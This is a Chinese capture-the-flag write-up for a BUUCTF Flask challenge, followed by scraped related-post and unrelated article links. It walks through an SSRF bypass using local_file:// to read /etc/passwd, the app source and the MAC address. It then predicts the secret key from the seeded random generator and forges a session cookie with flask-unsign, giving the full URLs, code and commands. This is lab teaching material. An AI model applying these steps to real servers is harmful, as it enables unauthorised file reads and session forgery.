BUUCTF-[CISCN2019 华东南赛区]Web4

看题



点击Read somethings,会跳转到

http://3fd8b1f9-614f-47ff-8e79-0f678e7bb4eb.node3.buuoj.cn/read?url=https://baidu.com

看url应该不是PHP,因为PHP几乎没有用这种路由,直接猜flask。使用read?url=local_file:///etc/passwd读取内容。

读取源码:read?url=local_file:///app/app.py

import re, random, uuid, urllib
from flask import Flask, session, request app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True @app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response' @app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied' if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

看这个地方

def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

当session中username=fuck时,可以直接得到flag。

所以,骚操作来了:伪造session。

session可不是乱替换的,它是有备而来......(=_=)

准备

伪造session需要密钥,而密钥的生成方式源码也已经给出了。

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

对于伪随机数,当seed固定时,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()函数,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。

local_file:///sys/class/net/eth0/address

得到Mac地址(每个人都不一样):

02:42:ac:10:a1:50

用python2生成随机数,用python3的话生成小数的位数会不一样。

import random
random.seed(0x0242ac10a150)
print(str(random.random()*233))

得到随机数

222.550669756

session替换

有很多大佬用的是flask-session-cookie-manager-master这个工具,

我也用了,捣鼓了半天,一直报错。。。

然后师哥给我发了这个,他说:“你在练死劲,那不好使。”

https://github.com/Paradoxis/Flask-Unsign

具体安装过程在README.md中,内容是英文,加油!

(这个工具需要python版本大于等于3.6。

个人感觉在kali-Linux环境下更好安装和使用)

安装过程中

如果在执行该命令时报错

pip3 install flask-unsign[wordlist]

可以试着对pip3进行换源,很简单,可以去百度搜一下

(不过,我还是给出来了啦(=_=))

【临时使用国内源】

pip install -i https://pypi.tuna.tsinghua.edu.cn/simple some-package

【设为默认】(设置默认的话,pip版本是需要更新的)

pip install pip -U
pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple

安装完后

flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YJuCKw.COSA9fupuOO-gxLmD0q5u_lkLCY'

对session解密后得到{'username': b'www-data'}

www-data替换为fuck,即{'username':b'fuck'}

然后对其进行加密

flask-unsign --sign --cookie '{'username':b'fuck'}' --secret  '222.550669756' --no-literal-eval

就会生成替换的session

Int1c2VybmFtZTpiZnVja30i.YJvEYg.fL7nrdiYaqWOKWTv6800WKws9tM

替换后,读取flag

http://3fd8b1f9-614f-47ff-8e79-0f678e7bb4eb.node3.buuoj.cn/flag

就能得到flag了。

这题挺考验我的,因为我太菜了(=_=)

BUUCTF-[CISCN2019 华东南赛区]Web4的更多相关文章

  1. BUU-CTF[CISCN2019 华东南赛区]Web11

    BUU-CTF[CISCN2019 华东南赛区]Web11 页面最下端有提示Build with Smarty ! 确定页面使用的是Smarty模板引擎.输入{$smarty.version}就可以看 ...

  2. 刷题[CISCN2019 华东南赛区]Web4

    解题思路 打开有一个链接,那先点击一下 发现url处,很像命令执行,试一试.发现无论是什么都是no response,又是各种尝试 发现直接传?url=/etc/passwwd可以爆出回显,难道不是命 ...

  3. [BJDCTF2020]The mystery of ip|[CISCN2019 华东南赛区]Web11|SSTI注入

    记录一下BUUCTF中两个类似的SSTI注入关卡 [BJDCTF2020]The mystery of ip-1: 1.打开之后显示如下: 2.在hint.php中进行了相关提示,如下: 3.既然获取 ...

  4. [CISCN2019 华东南赛区]Web11

    [CISCN2019 华东南赛区]Web11 写在前面 参考文章:Smarty SSTI 1.{php}{/php} Smarty已经废弃{php}标签,强烈建议不要使用.在Smarty 3.1,{p ...

  5. [CISCN2019 华东南赛区]Double Secret

    0x01 进入页面如下 提示我们寻找secret,再加上题目的提示,猜测这里有secret页面,我们尝试访问,结果如下 根据它这个话的意思,是让我们传参,然后它会给你加密,我们试一下 发现输入的1变成 ...

  6. 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1

    目录 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1 解题过程 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1 题目复现链接:https:/ ...

  7. BUU XSS COURSE 1 & [CISCN2019 华东北赛区]Web2

    BUU XSS COURSE 1 & [CISCN2019 华东北赛区]Web2 XSS的题目没怎么做过,比赛基本上也没有(=_=),总结下今天做的两题 都是看赵总视频现学现做的,这里附上学习 ...

  8. BUUCTF | [CISCN2019 华北赛区 Day1 Web2]ikun

    步骤: 找到lv6的购买出,修改折扣买lv6 :然后找到admin的登陆界面,JWT破解,登陆admin :点击一键成为大会员,利用python反序列化漏洞读取flag 解析: 这题师傅们的WP已经很 ...

  9. BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox

    步骤: 1.运行这个: <?php class User { public $db; } class File { public $filename; } class FileList { pr ...

随机推荐

  1. etcd学习(4)-centos7中部署etcd

    etcd的搭建 前言 单机 集群 创建etcd配置文件 更新etcd系统默认配置 启动 配置ETCD为启动服务 测试下 参考 etcd的搭建 前言 这里记录下如何搭建etcd 单机 在etcd的rel ...

  2. Treestar Flowjo 10.6.2 for win64安装破解教程

    Treestar FlowJo v10.6.2是一款极其优秀好用的流式细胞数据分析工具,通过图像分析细胞的各种变化,利用软件自带的分析功能,结合细胞模型创建合理的数据分析平台.本教程提供其安装包.注册 ...

  3. HashSet 和 HashMap 的比较

    HashMap 和 HashSet 都是 collection 框架的一部分,它们让我们能够使用对象的集合.collection 框架有自己的接口和实现,主要分为 Set 接口,List 接口和 Qu ...

  4. 【Web动画】科技感十足的暗黑字符雨动画

    本文将使用纯 CSS,带大家一步一步实现一个这样的科幻字符跳动背景动画.类似于这样的字符雨动画: 或者是类似于这样的: 运用在一些类似科技主题的背景之上,非常的添彩. 文字的竖排 首先第一步,就是需要 ...

  5. div 模拟alert弹出框

    --------------信息展示弹出框---------------- <style> .over{background-color: rgba(0, 0, 0, 0.7);displ ...

  6. Sunset靶机

    仅供个人娱乐 靶机信息 https://www.vulnhub.com/entry/sunset-sunrise,406/ 一.主机探测 二.信息收集 nmap -sS -sV -T5 -A -p- ...

  7. AJAX的学习与使用>前端技术系列

    目录 AJAX的学习与使用 什么是AJAX 为什么要使用AJAX AJAX接收服务器响应数据的3种格式 文本格式(重要) JSON格式(重要) 服务器端响应实体类JSON格式的3种方式 修改实体类的t ...

  8. OpenGL学习笔记(三)着色器

    目录 Shader是什么 GLSL 数据类型 输入与输出 顶点着色器向片段着色器发送数据 Uniform 制作三色渐变三角形 对着色器程序进行封装 参考资料:OpenGL中文翻译 Shader是什么 ...

  9. Jenkins自动化部署最完整教程

    1.概述 Jenkins 是一个可扩展的持续集成引擎.主要用于持续.自动地构建/测试软件项目.监控一些定时执行的任务.Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行 ...

  10. git分支merge冲突 error: you need to resolve your current index first

    问题: 执行切换代码分支 git checkout featrue_2019-06-24 ,报错如下: error: you need to resolve your current index fi ...